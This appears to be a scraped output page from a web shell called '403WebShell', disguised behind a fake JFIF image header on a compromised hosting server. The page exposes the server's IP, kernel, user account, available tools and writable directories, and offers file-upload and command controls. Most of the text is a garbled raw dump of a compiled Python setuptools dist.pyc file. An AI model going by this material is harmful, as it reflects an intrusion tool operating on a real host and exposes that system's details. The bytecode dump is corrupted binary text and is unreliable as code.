���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 84.32.84.196  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyc
�
u�fc@s�dgZddlZddlZddlZddlZddlZddlZddlZddl	Zddl
ZddlZddlm
Z
ddlmZddlmZddlZddlmZddlmZddlmZmZmZdd	lmZdd
lmZddlmZddlm Z dd
lm!Z!ddl"m#Z#m$Z$m%Z%ddl&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/ddl0Z0e1d�e1d�d�Z2d�Z3d�Z4d�Z5e6e7fZ8d�Z9d�Z:d�Z;d�Z<d�Z=d �Z>d!�Z?d"�Z@d#�ZAd$�ZBd%�ZCd&�ZDe-ejEjF�ZGdeGfd'��YZFd(fd)��YZHd*e'fd+��YZIdS(,tDistributioni����N(t	strtobool(tDEBUG(ttranslate_longopt(tdefaultdict(tmessage_from_file(tDistutilsOptionErrortDistutilsPlatformErrortDistutilsSetupError(t
rfc822_escape(t
StrictVersion(tsix(t	packaging(tordered_set(tmaptfiltertfilterfalsei(tSetuptoolsDeprecationWarning(tRequire(twindows_support(t
get_unpatched(tparse_configurations&setuptools.extern.packaging.specifierss#setuptools.extern.packaging.versioncCstjdt�t|�S(NsDo not call this function(twarningstwarntDistDeprecationWarningR(tcls((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_get_unpatched-scCs�t|dd�}|dkr�|js0|jr?td�}n�|jdk	s~|jdk	s~t|dd�dk	s~|jr�td�}nH|js�|j	s�|j
s�|js�|jr�td�}ntd�}||_
n|S(Ntmetadata_versions2.1tpython_requiress1.2s1.1s1.0(tgetattrtNonetlong_description_content_typetprovides_extrasR
t
maintainertmaintainer_emailtproject_urlstprovidestrequirest	obsoletestclassifierstdownload_urlR(tselftmv((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytget_metadata_version2s	cs�t|���fd�}�fd�}t�d�|_|d�|_|d�|_|d�|_|d�|_d|_|d�|_	d|_
|d	�|_|d
�|_d�kr�|d�|_
n	d|_
|d�|_|d�|_d
�kr$|d
�jd�|_n|d�|_|d�|_|jtd�kr�|d�|_|d�|_|d�|_nd|_d|_d|_dS(s-Reads the metadata values from a file object.cs�|}|dkrdS|S(NtUNKNOWN(R(tnametvalue(tmsg(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_read_fieldLs
cs&�j|d�}|gkr"dS|S(N(tget_allR(R-tvalues(R/(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt
_read_listRssmetadata-versionR-tversiontsummarytauthorsauthor-emails	home-pagetlicensesdownload-urltdescriptiontkeywordst,tplatformt
classifiers1.1R%R$R&N(RR
RR-R4R8R6RR!tauthor_emailR"turlR7R(tlong_descriptiontsplitR9t	platformsR'R%R$R&(R)tfileR0R3((R/s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt
read_pkg_fileHs:					c
s��j�}tjr*��fd�}n�fd�}|dt|��|d�j��|d�j��|d�j��|d�j��|td�kr�|d	�j	��|d
�j
��nTd"d#d$d%f}x?|D]7\}}t�|�}|d!k	r�|||�q�q�W|d�j
���jrV|d�j�nx(�jj�D]}|dd|�qfWt�j��}	|d|	�dj�j��}
|
r�|d|
�n|td�krx=�j�D]}|d|�q�Wn�j�d�j���j�d�j���j�d�j���j�d�j���j�d�j��t�d�r�|d�j�n�jr�|d�j�n�jr�x!�jD]}|d |�q�Wnd!S(&s5Write the PKG-INFO format data to a file object.
    cs$�jd|�j|�f�dS(Ns%s: %s
(twritet
_encode_field(tkeyR.(RBR)(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytwrite_field�scs�jd||f�dS(Ns%s: %s
(RD(RFR.(RB(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRG�ssMetadata-VersiontNametVersiontSummarys	Home-pages1.2tAuthorsAuthor-emailR6R=t
MaintainerR!sMaintainer-emailR"tLicensesDownload-URLsProject-URLs%s, %stDescriptionR:tKeywordstPlatformt
ClassifiertRequirestProvidest	ObsoletesRsRequires-PythonsDescription-Content-TypesProvides-ExtraN(RKR6(sAuthor-emailR=(RLR!(sMaintainer-emailR"(R+RtPY2tstrtget_nametget_versiontget_descriptiontget_urlR
tget_contacttget_contact_emailRRtget_licenseR(R#titemsR	tget_long_descriptiontjointget_keywordst
get_platformst_write_listtget_classifierstget_requirestget_providest
get_obsoletesthasattrRRR (
R)RBR4RGtoptional_fieldstfieldtattrtattr_valtproject_urlt	long_descR9R;textra((RBR)s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytwrite_pkg_file~s^			
	
	cCsdy*tjjd|�}|js)t�Wn3ttttfk
r_td||f��nXdS(Nsx=s4%r must be importable 'module:attrs' string (got %r)(	t
pkg_resourcest
EntryPointtparsetextrastAssertionErrort	TypeErrort
ValueErrortAttributeErrorR(tdistRkR.tep((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_importable�scCsty:t|ttf�st�dj|�|ks9t�Wn3ttttfk
rotd||f��nXdS(s"Verify that value is a string listts%%r must be a list of strings (got %r)N(	t
isinstancetlistttupleRuR`RvRwRxR(RyRkR.((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytassert_string_list�scCs�|}t|||�xw|D]o}|j|�sItdd|��n|jd�\}}}|r||krtjjd||�qqWdS(s(Verify that namespace packages are valids1Distribution contains no modules or packages for snamespace package %rt.s^WARNING: %r is declared as a package namespace, but %r is not: please correct this in setup.pyN(R�thas_contents_forRt
rpartitiont	distutilstlogR(RyRkR.tns_packagestnsptparenttseptchild((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt	check_nsp�s
	cCsMy ttjt|j���Wn&tttfk
rHtd��nXdS(s+Verify that extras_require mapping is valids�'extras_require' must be a dictionary whose values are strings or lists of strings containing valid project/version requirement specifiers.N(	R~t	itertoolststarmapt_check_extraR^RvRwRxR(RyRkR.((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_extras�s
 cCsW|jd�\}}}|r@tj|�r@td|��nttj|��dS(Nt:sInvalid environment marker: (t	partitionRqtinvalid_markerRR~tparse_requirements(RotreqsR-R�tmarker((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�scCs=t|�|kr9d}t|jd|d|���ndS(s)Verify that value is True, False, 0, or 1s0{attr!r} must be a boolean value (got {value!r})RkR.N(tboolRtformat(RyRkR.ttmpl((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytassert_boolscCsy;ttj|��t|ttf�r:td��nWn=ttfk
rz}d}t|j	d|d|���nXdS(s9Verify that install_requires is a valid requirements listsUnordered types are not allowedsm{attr!r} must be a string or list of strings containing valid project/version requirement specifiers; {error}RkterrorN(
R~RqR�R}tdicttsetRvRwRR�(RyRkR.R�R�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_requirementsscCsXytjj|�Wn=tjjk
rS}d}t|jd|d|���nXdS(s.Verify that value is a valid version specifiersF{attr!r} must be a string containing valid version specifiers; {error}RkR�N(Rt
specifierstSpecifierSettInvalidSpecifierRR�(RyRkR.R�R�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_specifier s
cCs:ytjj|�Wntk
r5}t|��nXdS(s)Verify that entry_points map is parseableN(RqRrt	parse_mapRwR(RyRkR.te((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_entry_points,scCs%t|tj�s!td��ndS(Nstest_suite must be a string(R}Rtstring_typesR(RyRkR.((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_test_suite4scCs�t|t�s'tdj|���nx`|j�D]R\}}t|tj�smtdj||���nt|dj|�|�q4WdS(s@Verify that value is a dictionary of package names to glob listssT{!r} must be a dictionary mapping package names to lists of string wildcard patternss,keys of {!r} dict must be strings (got {!r})svalues of {!r} dictN(R}R�RR�R^RR�R�(RyRkR.tktv((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_package_data9scCs=x6|D].}tjd|�stjjd|�qqWdS(Ns\w+(\.\w+)*s[WARNING: %r not a valid package name; please use only .-separated package names in setup.py(tretmatchR�R�R(RyRkR.tpkgname((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytcheck_packagesHs

	cBs�eZdZid+d6ed6ejd6ejd6Zd+Zd�Z	d+d�Z
d�Zd�Ze
d	��Zd
�Zd�Zd+d�Ze
d
��Zd+d�Zd+ed�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d �Z&d!�Z'd"�Z(d#�Z)d$�Z*d%�Z+d&�Z,d'�Z-d(�Z.d)�Z/d*�Z0RS(,s�Distribution with support for features, tests, and package data

    This is an enhanced version of 'distutils.dist.Distribution' that
    effectively adds the following new optional keyword arguments to 'setup()':

     'install_requires' -- a string or sequence of strings specifying project
        versions that the distribution requires when installed, in the format
        used by 'pkg_resources.require()'.  They will be installed
        automatically when the package is installed.  If you wish to use
        packages that are not available in PyPI, or want to give your users an
        alternate download location, you can add a 'find_links' option to the
        '[easy_install]' section of your project's 'setup.cfg' file, and then
        setuptools will scan the listed web pages for links that satisfy the
        requirements.

     'extras_require' -- a dictionary mapping names of optional "extras" to the
        additional requirement(s) that using those extras incurs. For example,
        this::

            extras_require = dict(reST = ["docutils>=0.3", "reSTedit"])

        indicates that the distribution can optionally provide an extra
        capability called "reST", but it can only be used if docutils and
        reSTedit are installed.  If the user installs your package using
        EasyInstall and requests one of your extras, the corresponding
        additional requirements will be installed if needed.

     'features' **deprecated** -- a dictionary mapping option names to
        'setuptools.Feature'
        objects.  Features are a portion of the distribution that can be
        included or excluded based on user options, inter-feature dependencies,
        and availability on the current system.  Excluded features are omitted
        from all setup commands, including source and binary distributions, so
        you can create multiple distributions from the same source tree.
        Feature names should be valid Python identifiers, except that they may
        contain the '-' (minus) sign.  Features can be included or excluded
        via the command line options '--with-X' and '--without-X', where 'X' is
        the name of the feature.  Whether a feature is included by default, and
        whether you are allowed to control this from the command line, is
        determined by the Feature object.  See the 'Feature' class for more
        information.

     'test_suite' -- the name of a test suite to run for the 'test' command.
        If the user runs 'python setup.py test', the package will be installed,
        and the named test suite will be run.  The format is the same as
        would be used on a 'unittest.py' command line.  That is, it is the
        dotted name of an object to import and call to generate a test suite.

     'package_data' -- a dictionary mapping package names to lists of filenames
        or globs to use to find data files contained in the named packages.
        If the dictionary has filenames or globs listed under '""' (the empty
        string), those names will be searched for in every package, in addition
        to any names for the specific package.  Data files found using these
        names/globs will be installed along with the package, in the same
        location as the package.  Note that globs are allowed to reference
        the contents of non-package subdirectories, as long as you use '/' as
        a path separator.  (Globs are automatically converted to
        platform-specific paths at runtime.)

    In addition to these new keywords, this class also has several new methods
    for manipulating the distribution's contents.  For example, the 'include()'
    and 'exclude()' methods can be thought of as in-place add and subtract
    commands that add or remove packages, modules, extensions, and so on from
    the distribution.  They are used by the feature subsystem to configure the
    distribution for the included and excluded features.
    RR#R t
license_filescCs�|sd|ksd|kr#dStjt|d��j�}tjjj|�}|dk	r�|jd�r�tj	t|d��|_
||_ndS(NR-R4sPKG-INFO(Rqt	safe_nameRVtlowertworking_settby_keytgetRthas_metadatatsafe_versiont_versiont
_patched_dist(R)tattrsRFRy((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytpatch_missing_pkg_info�sc
s�t�d�}|s!i�_n|p*i}d|ksEd|krRtj�ng�_i�_g�_|jdd��_	�j
|�|jdg��_|jdg��_x0t
jd�D]}t��j|jd�q�Wtj��fd�|j�D��x|�jj�D]k\}}xI�jj|fD] }||krA||}PqAqAW|rt|�nd}t�j||�q"Wt�jjtj�r�t�jj��j_n�jjdk	rvyftjj�jj�}t|�}	�jj|	kr;t j!d	�jj|	f�|	�j_nWqvtjj"t#fk
rrt j!d
�jj�qvXn�j$�dS(Ntpackage_datatfeaturestrequire_featurestsrc_roottdependency_linkstsetup_requiressdistutils.setup_keywordscs.i|]$\}}|�jkr||�qS((t_DISTUTILS_UNSUPPORTED_METADATA(t.0R�R�(R)(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pys
<dictcomp>�s		sNormalizing '%s' to '%s's�The version specified (%r) is an invalid version, this may not work as expected with newer versions of setuptools, pip, and PyPI. Please see PEP 440 for more details.(%RhR�tFeaturetwarn_deprecatedR�R�t
dist_filestpopRR�R�R�R�Rqtiter_entry_pointstvarst
setdefaultR-t
_Distributiont__init__R^R�tmetadatat__dict__tsetattrR}R4tnumberstNumberRVRRIRRtInvalidVersionRvt_finalize_requires(
R)R�thave_package_dataRztoptiontdefaulttsourceR.tvertnormalized_version((R)s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��sR
			
	
	cCs�t|dd�r$|j|j_nt|dd�r�xI|jj�D]5}|jd�d}|rF|jjj|�qFqFWn|j	�|j
�dS(s�
        Set `metadata.python_requires` and fix environment markers
        in `install_requires` and `extras_require`.
        Rtextras_requireR�iN(RRRR�R�tkeysR@R taddt_convert_extras_requirementst"_move_install_requirements_markers(R)Ro((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��s
cCs�t|dd�pi}tt�|_xf|j�D]X\}}|j|x>tj|�D]-}|j|�}|j||j	|�q[Wq4WdS(s�
        Convert requirements in `extras_require` of the form
        `"extra": ["barbazquux; {marker}"]` to
        `"extra:{marker}": ["barbazquux"]`.
        R�N(
RRRR~t_tmp_extras_requireR^RqR�t_suffix_fortappend(R)t
spec_ext_reqstsectionR�trtsuffix((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��scCs|jrdt|j�SdS(se
        For a requirement, return the 'extras_require' suffix for
        that requirement.
        R�R|(R�RV(treq((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�scs�d�}t�dd�pd}ttj|��}t||�}t||�}ttt|���_	x/|D]'}�j
dt|j�j|�qsWt
�fd��j
j�D���_dS(sv
        Move requirements in `install_requires` that are using environment
        markers `extras_require`.
        cSs|jS(N(R�(R�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt
is_simple_reqstinstall_requiresR�c3sF|]<\}}|gt�j|�D]}t|�^q%fVqdS(N(Rt
_clean_reqRV(R�R�R�R�(R)(s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pys	<genexpr>*sN((RRR~RqR�RRRRVR�R�R�R�R�R^R�(R)R�tspec_inst_reqst	inst_reqstsimple_reqstcomplex_reqsR�((R)s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�s
	
%cCs
d|_|S(sP
        Given a Requirement, remove environment markers and return it.
        N(RR�(R)R�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�.s	c
Cs�ddlm}tjr\tjtjkr\ddddddd	d
ddd
ddg
}ng}t|�}|dkr�|j	�}nt
r�|jd�n|�}x|D]
}tj
|dd��H}t
r�|jdjt���ntjr|jn|j|�WdQXx�|j�D]�}|j|�}|j|�}	xf|D]^}
|
dkrL|
|krL|j|j||
��}|
jdd�}
||f|	|
<qLqLWq!W|j�q�Wd|jkr�x�|jdj�D]�\}
\}}|jj|
�}
yY|
r*t||
t|��n5|
dkrOt||
t|��nt||
|�Wq�tk
r�}t|��q�Xq�WndS(s�
        Adapted from distutils.dist.Distribution.parse_config_files,
        this method provides the same functionality in subtly-improved
        ways.
        i����(tConfigParsersinstall-basesinstall-platbasesinstall-libsinstall-platlibsinstall-purelibsinstall-headerssinstall-scriptssinstall-datatprefixsexec-prefixthometusertroots"Distribution.parse_config_files():tencodingsutf-8s  reading {filename}Nt__name__t-t_tglobaltverbosetdry_run(R�R�( t(setuptools.extern.six.moves.configparserR�RRUtsysR�tbase_prefixt	frozensetRtfind_config_filesRtannouncetiotopenR�tlocalstreadfpt	read_filetsectionstoptionstget_option_dictt_try_strR�treplaceR�tcommand_optionsR^tnegative_optR�RRwR(R)t	filenamesR�tignore_optionstparsertfilenametreaderR�Rtopt_dicttopttvaltsrctaliasR/((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_parse_config_files5sL			
%
&cCs3tjs
|Sy|j�SWntk
r.nX|S(sb
        On Python 2, much of distutils relies on string values being of
        type 'str' (bytes) and not unicode text. If the value can be safely
        encoded to bytes using the default encoding, prefer that.

        Why the default encoding? Because that value can be implicitly
        decoded back to text if needed.

        Ref #1653
        (RRUtencodetUnicodeEncodeError(R((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRss	
cCs�|j�}|dkr*|j|�}ntrD|jd|�nxx|j�D]j\}\}}tr�|jd|||f�ny&g|jD]}t|�^q�}Wntk
r�g}nXy
|j	}	Wntk
r�i}	nXy�t
|tj�}
||	kr2|
r2t
||	|t|��nf||kr]|
r]t
||t|��n;t||�rt
|||�ntd|||f��WqQtk
r�}t|��qQXqQWdS(s�
        Set the options for 'command_obj' from 'option_dict'.  Basically
        this means copying elements of a dictionary ('option_dict') to
        attributes of an instance ('command').

        'command_obj' must be a Command instance.  If 'option_dict' is not
        supplied, uses the standard option dictionary for this command
        (from 'self.command_options').

        (Adopted from distutils.dist.Distribution._set_command_options)
        s#  setting options for '%s' command:s    %s = %s (from %s)s1error in %s: command '%s' has no such option '%s'N(tget_command_nameRRRR�R^tboolean_optionsRRxR	R}RR�R�RRhRRw(R)tcommand_objtoption_dicttcommand_nameR�R�R.tot	bool_optstneg_optt	is_stringR/((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_set_command_options�s>#




cCs4|jd|�t||jd|�|j�dS(sYParses configuration files from various levels
        and loads configuration.

        R
tignore_option_errorsN(RRRR�(R)R
R!((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytparse_config_files�scCs)tj|�}|jr%|j�n|S(s3Process features after parsing command line options(R�tparse_command_lineR�t_finalize_features(R)tresult((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR#�s	
cCsd|jdd�S(s;Convert feature name to corresponding option attribute nametwith_R�R�(R(R)R-((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_feature_attrname�scCsUtjjtj|�d|jdt�}x$|D]}tjj|dt�q1W|S(sResolve pre-setup requirementst	installertreplace_conflictingR(RqR�tresolveR�tfetch_build_eggtTrueR�(R)R%tresolved_distsRy((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytfetch_build_eggs�s			
cCsUd}d�}td�tj|��}x$t|d|�D]}||�q=WdS(s�
        Allow plugins to apply arbitrary operations to the
        distribution. Each hook may optionally define a 'order'
        to influence the order of execution. Smaller numbers
        go first and the default is 0.
        s(setuptools.finalize_distribution_optionscSst|dd�S(Ntorderi(R(thook((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytby_order�scSs
|j�S(N(tload(R�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt<lambda>�R|RFN(RRqR�tsorted(R)tgroupR1tepsRz((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytfinalize_options�s
	cCsnxgtjd�D]V}t||jd�}|dk	r|jd|j�|j�||j|�qqWdS(Nsdistutils.setup_keywordsR((RqR�RR-RtrequireR+R2(R)RzR.((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_finalize_setup_keywords�s
cCsMt|dd�r@g|jD]}tjj|�^q|_n	g|_dS(Ntconvert_2to3_doctests(RRR:tostpathtabspath(R)tp((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_finalize_2to3_doctests�s+cCs�tjjtjd�}tjj|�s�tj|�tj|�tjj|d�}t|d��.}|j	d�|j	d�|j	d�WdQXn|S(Ns.eggss
README.txttwscThis directory contains eggs that were downloaded by setuptools to build, test, and run plug-ins.

sAThis directory caches those eggs to prevent repeated downloads.

s/However, it is safe to delete this directory.

(
R;R<R`tcurdirtexiststmkdirRt	hide_fileR�RD(R)t
egg_cache_dirtreadme_txt_filenametf((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytget_egg_cache_dir�s



cCsddlm}|||�S(s Fetch an egg needed for buildingi����(R+(tsetuptools.installerR+(R)R�R+((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR+sc	Cs|js
dSg}|jj�}x�|jj�D]�\}}|j|d�|j|�|jr2|j}d}d}|j	�s�||}}nd|dd||fd|dd||ff}|j
|�d||d|<q2q2W||j|_|_||_|_
dS(s;Add --with-X/--without-X options based on optional featuresNs
 (default)R|swith-sinclude swithout-sexclude (R�R	tcopyR^t_set_featureRtvalidatetoptionalR8tinclude_by_defaulttextendtglobal_optionstfeature_optionstfeature_negopt(	R)tgotnoR-tfeaturetdescrtincdeftexcdeftnew((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_finalize_feature_optss&	
		
cCs�xj|jj�D]Y\}}|j|�}|sI|dkr|j�r|j|�|j|d�qqWxL|jj�D];\}}|j|�s}|j|�|j|d�q}q}WdS(s9Add/remove features and resolve dependencies between themiiN(R�R^tfeature_is_includedRRNt
include_inRKtexclude_from(R)R-RUtenabled((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR$)s

cCs|||jkr|j|Stjd|�}xI|D]1}|jd|j�|j�|j|<}|SWtj||�SdS(s(Pluggable version of get_command_class()sdistutils.commandsR(N(tcmdclassRqR�R8R+R2R�tget_command_class(R)tcommandR6RzR_((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR`:s
cCsXxHtjd�D]7}|j|jkr|j�}||j|j<qqWtj|�S(Nsdistutils.commands(RqR�R-R_R*R�tprint_commands(R)RzR_((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRbGs
cCsXxHtjd�D]7}|j|jkr|j�}||j|j<qqWtj|�S(Nsdistutils.commands(RqR�R-R_R*R�tget_command_list(R)RzR_((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRcOs
cCst||j|�|�dS(sSet feature's inclusion statusN(R�R'(R)R-tstatus((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRKWscCst||j|��S(sAReturn 1 if feature is included, 0 if excluded, 'None' if unknown(RR'(R)R-((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR[[scCs`|j|�dkr8|j|j}t|d��n|j|j|�|j|d�dS(s)Request inclusion of feature named 'name'is2 is required, but was excluded or is not availableiN(R[R�R8RR\RK(R)R-RV((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytinclude_feature_scKsZxS|j�D]E\}}t|d|d�}|rB||�q
|j||�q
WdS(s�Add items to distribution that are named in keyword arguments

        For example, 'dist.include(py_modules=["x"])' would add 'x' to
        the distribution's 'py_modules' attribute, if it was not already
        there.

        Currently, this method only supports inclusion for attributes that are
        lists or tuples.  If you need to add support for adding to other
        attributes in this or a subclass, you can add an '_include_X' method,
        where 'X' is the name of the attribute.  The method will be called with
        the value passed to 'include()'.  So, 'dist.include(foo={"bar":"baz"})'
        will try to call 'dist._include_foo({"bar":"baz"})', which can then
        handle whatever special inclusion logic is needed.
        t	_include_N(R^RRt
_include_misc(R)R�R�R�tinclude((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRhjs

cCs�|d}|jrQg|jD](}||kr|j|�r|^q|_n|jr�g|jD](}||krd|j|�rd|^qd|_n|jr�g|jD].}|j|kr�|jj|�r�|^q�|_ndS(s9Remove packages, modules, and extensions in named packageR�N(tpackagest
startswitht
py_modulestext_modulesR-(R)tpackagetpfxR>((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytexclude_package�s
	.	.	cCsD|d}x3|j�D]%}||ks8|j|�rtSqWdS(s<Return true if 'exclude_package(package)' would do somethingR�N(titer_distribution_namesRjR,(R)RmRnR>((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR��s
cCs�t|t�s(td||f��nyt||�}Wn!tk
r^td|��nX|dk	r�t|t�r�t|d��n8|r�t||g|D]}||kr�|^q��ndS(sAHandle 'exclude()' for list/tuple attrs without a special handlers(%s: setting must be a list or tuple (%r)s %s: No such distribution settings4: this setting cannot be changed via include/excludeN(R}tsequenceRRRxRR�(R)R-R.toldtitem((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt
_exclude_misc�s
cCs�t|t�s(td||f��nyt||�}Wn!tk
r^td|��nX|dkr~t|||�n[t|t�s�t|d��n9g|D]}||kr�|^q�}t||||�dS(sAHandle 'include()' for list/tuple attrs without a special handlers%s: setting must be a list (%r)s %s: No such distribution settings4: this setting cannot be changed via include/excludeN(R}RqRRRxRR�(R)R-R.RrRsRY((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRg�s
%cKsZxS|j�D]E\}}t|d|d�}|rB||�q
|j||�q
WdS(sRemove items from distribution that are named in keyword arguments

        For example, 'dist.exclude(py_modules=["x"])' would remove 'x' from
        the distribution's 'py_modules' attribute.  Excluding packages uses
        the 'exclude_package()' method, so all of the package's contained
        packages, modules, and extensions are also excluded.

        Currently, this method only supports exclusion from attributes that are
        lists or tuples.  If you need to add support for excluding from other
        attributes in this or a subclass, you can add an '_exclude_X' method,
        where 'X' is the name of the attribute.  The method will be called with
        the value passed to 'exclude()'.  So, 'dist.exclude(foo={"bar":"baz"})'
        will try to call 'dist._exclude_foo({"bar":"baz"})', which can then
        handle whatever special exclusion logic is needed.
        t	_exclude_N(R^RRRt(R)R�R�R�texclude((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRv�s

cCs?t|t�s%td|f��ntt|j|��dS(Ns.packages: setting must be a list or tuple (%r)(R}RqRR~RRo(R)Ri((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyt_exclude_packages�sc
Cs�|jj|_|jj|_|d}|jd�}xS||kr�||\}}||=ddl}|j|t�|d*|d}q:Wtj|||�}|j	|�}	t
|	dd�r�d|f|j|�d<|dk	r�gSn|S(Nitaliasesi����itcommand_consumes_argumentsscommand linetargs(t	__class__RPR	RtshlexR@R,R�t_parse_command_optsR`RR(
R)RRzRaRxRRR|tnargst	cmd_class((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR}�s"
cCs'i}x|jj�D]	\}}x�|j�D]�\}\}}|dkrSq/n|jdd�}|dkr�|j|�}|jj�}|jt|di��xZ|j�D](\}	}
|
|kr�|	}d}Pq�q�Wt	d��n|dkrd}n||j
|i�|<q/WqW|S(	shReturn a '{cmd: {opt:val}}' map of all command-line options

        Option names are all long, but do not include the leading '--', and
        contain dashes rather than underscores.  If the option doesn't take
        an argument (e.g. '--quiet'), the 'val' is 'None'.

        Note that options provided by config files are intentionally excluded.
        scommand lineR�R�iR	sShouldn't be able to get hereiN(RR^Rtget_command_objR	RJtupdateRRRuR�(R)tdtcmdtoptsRRRtcmdobjRtnegtpos((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pytget_cmdline_optionss(
	ccs�x|jpdD]}|VqWx|jp.dD]}|Vq/Wx_|jpMdD]N}t|t�rr|\}}n	|j}|jd�r�|d }n|VqNWdS(s@Yield all packages, modules, and extension names in distributiontmodulei����N((((RiRkRlR}RR-tendswith(R)tpkgR�textR-t	buildinfo((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRp)s			
c	Cs$ddl}tjs|jr.tj||�St|jtj	�sStj||�S|jj
j�dkr{tj||�S|jj
}|jj}|j
dkr�dp�d}|jj}tj	|jj�d|||�|_ztj||�SWdtj	|jj�||||�|_XdS(s�If there were any non-global "display-only" options
        (--help-commands or the metadata display options) on the command
        line, display the requested info and return true; else return
        false.
        i����Nsutf-8tutf8twin32s
(sutf-8R�(R�RRUt
help_commandsR�thandle_display_optionsR}tstdoutR�t
TextIOWrapperR�R�terrorsR;Rtline_bufferingtdetach(R)toption_orderR�R�R�tnewlineR�((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyR�;s"!N(1R�t
__module__t__doc__RR�R
t
OrderedSetR�R�R�R�R�R�tstaticmethodR�R�R�RRR tFalseR"R#R'R.R7R9R?RHR+RZR$R`RbRcRKR[ReRhRoR�RtRgRvRwR}R�RpR�(((s@/opt/alt/python27/lib/python2.7/site-packages/setuptools/dist.pyRTsZB

	
;				>/						
					
															(	R�cBsYeZdZed��Zeeeddd�Zd�Zd�Z	d�Z
d�ZRS(	s�
    **deprecated** -- The `Feature` facility was never completely implemented
    or supported, `has reported issues
    <https://github.com/pypa/setuptools/issues/58>`_ and will be removed in
    a future version.

    A subset of the distribution that can be excluded if unneeded/wanted

    Features are created using these keyword arguments:

      'description' -- a short, human readable description of the feature, to
         be used in error messages, and option help messages.

      'standard' -- if true, the feature is included by default if it is
         available on the current system.  Otherwise, the feature is only
         included if requested via a command line '--with-X' option, or if
         another included feature requires it.  The default setting is 'False'.

      'available' -- if true, the feature is available for installation on the
         current system.  The default setting is 'True'.

